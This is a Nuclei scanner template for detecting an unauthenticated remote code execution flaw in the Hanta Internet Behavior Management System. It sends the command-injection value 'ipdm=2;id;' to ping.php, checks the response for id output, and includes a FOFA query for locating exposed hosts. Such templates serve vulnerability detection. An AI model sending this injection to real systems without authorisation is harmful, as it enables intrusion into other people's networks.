nuclei-templates/http/vulnerabilities/other/hanta-rce.yaml

35 lines
833 B
YAML

id: hanta-rce
info:
name: Hanta Internet Behavior Management System - Remote Code Execution
author: momika233
severity: high
metadata:
verified: true
max-request: 1
fofa-query: app="汉塔科技上网行为管理系统"
tags: hanta,rce,unauth
http:
- method: GET
path:
- "{{BaseURL}}/dgn/dgn_tools/ping.php?ipdm=2;id;"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4b0a00483046022100c8f60421e4fdcf26426f1ac6197c680c04bb587c17e024f4cd12a6d5a6f50e63022100c466a31b4ddddd9b55c645bdd7ecc5cad16125c3656093bd6546111b9c939936:922c64590222798bb761d5b6d8e72950